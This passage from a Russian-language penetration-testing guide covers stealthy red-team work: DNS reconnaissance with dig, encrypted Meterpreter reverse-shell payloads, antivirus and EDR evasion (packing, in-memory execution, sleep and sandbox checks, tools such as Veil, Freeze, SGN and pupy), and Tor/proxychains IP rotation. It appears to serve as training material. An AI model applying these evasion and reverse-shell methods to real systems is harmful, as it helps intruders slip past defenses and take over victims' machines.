      • Обращаться к общедоступным ресурсам в домене.
      • При сканировании сервисов использовать подключение только к отдельным портам без флагов активного сканирования.
    • Примеры приемов:
      • Опросить DNS на предмет корневых доменных имен
        • dig domain.local
      • Опросить домен на предмет записей о сервисах в домене
        • dig -t SRV _gc._tcp.domain.local
          dig -t SRV _ldap._tcp.domain.local
          dig -t SRV _kerberos._tcp.domain.local
          dig -t SRV _kpasswd._tcp.domain.local
      • Исследовать трафик сети на предмет широковещательного трафика: ARP, mDNS, LLMNR, NBTNS и пр.
      • Попытаться обратиться к общедоступным ресурсам, типа почты, сервера LDAP, сервера, WPAD прокси
        • dig -t MX domain.local
          dig -t wpad.domain.local
  2. Использование шифрованных каналов связи
    • использование шифрования при работе с сервисами
    • использование шифрования в нагрузках
    • Примеры приемов
      • применением шифрования трафика прикладных протоколов
        • windows/meterpreter/reverse_https (В LHOST необходимо будет указывать доменное имя)
        • windows/meterpreter/reverse_winhttps
        • windows/meterpreter_reverse_https (нагрузка без стейджера)
  3. Использование нагрузок, которые противодействуют активным средствам защиты на узлах
    • обход антивирусов
    • обход IDS/IPS
    • популярные техники обхода:
      • упаковка нагрузок
      • исполнение нагрузки (эксплойтов) в памяти
      • использование кастомных нагрузок, т.е. написанных собственноручно
    • обход статического анализа
      • шифрование
      • обфускация
      • самописный инструментарий
    • обход динамического анализа
      • сон перед выполнением
        • после запуска нагрузки, она спит некоторое время, чтобы у антивируса закончилось время на анализ
      • проверка ресурсов машины
        • малые ресурсы системы могут быть признаком того, что процесс запущен в песочнице
      • проверки для конкретной машины
        • если мы знаем информацию о конкретной машине, то после запуска можно проверить эту информацию. Если она отличатся, то нагрузка не переходит в активный режим
    • Примеры приемов

CHEATSHEET
Статьи

Инструменты:

  • pupy
    • бинарные нагрузки детектируются проще, поэтому лучше использовать скрипты, то есть нагрузки на скриптовых языках (python, c# и пр.)
    • -f pyinst - нагрузка сформируется в виде python-скрипта, что позволит обойти большинство антивирусов (почти все)
  • DefenderCheck
  • Veil - это инструмент, предназначенный для создания нагрузок metasploit, которые обходят обычные антивирусные решения
  • Freeze - это инструмент создания полезной нагрузки, используемый для обхода средств контроля безопасности EDR с целью скрытного выполнения шеллкода. Freeze использует множество методов не только для удаления Userland EDR хуки, но и для выполнения шеллкода таким образом, чтобы обойти другие средства контроля конечных точек.
  • SGN - это полиморфный двоичный кодер, предназначенный для наступательных целей безопасности, таких, как генерация статически недетектируемых двоичных полезных нагрузок. Он использует аддитивный цикл обратной связи для кодирования заданных двоичных инструкций, подобно LFSR.

Ротация IP-адресов:

  • The Onion Router (TOR)
    • Трафик из анонимной сети может быть заблокирован
    1. sudo apt install proxychains tor -y - Установка

    2. service tor start - Запуск сервиса Tor на порту стандартном порту 9050

    3. nano /etc/proxychains4.conf - Настройка Proxychains в файле конфигурации

      • proxy_dns
        socks4 127.0.0.1 9050
        socks5 127.0.0.1 9050

      • между схемой и ip ставится ТАБ
    4. proxychains nmap -targetaddress - Запуск утилиты Nmap с использованием proxy Tor

  • Сервисы
  • Плагин для Burp Suite
    • IP Rotate
  • Консольные утилиты
    • Fireprox
  • Облачные провайдеры
    • Сервис Cloud Functions
    • AWS API Gateway
    • AWS Lambda
  • Фреймворки

11. Дальнейшее развитие

Платформы для тренировок эксплуатации уязвимостей

Книги

  • "Современные операционные системы" Э. Танненбаум
  • "Компьютерные сети. Принципы, технологии, протоколы" Олифер
  • "Прикладная криптография" Б. Шнаер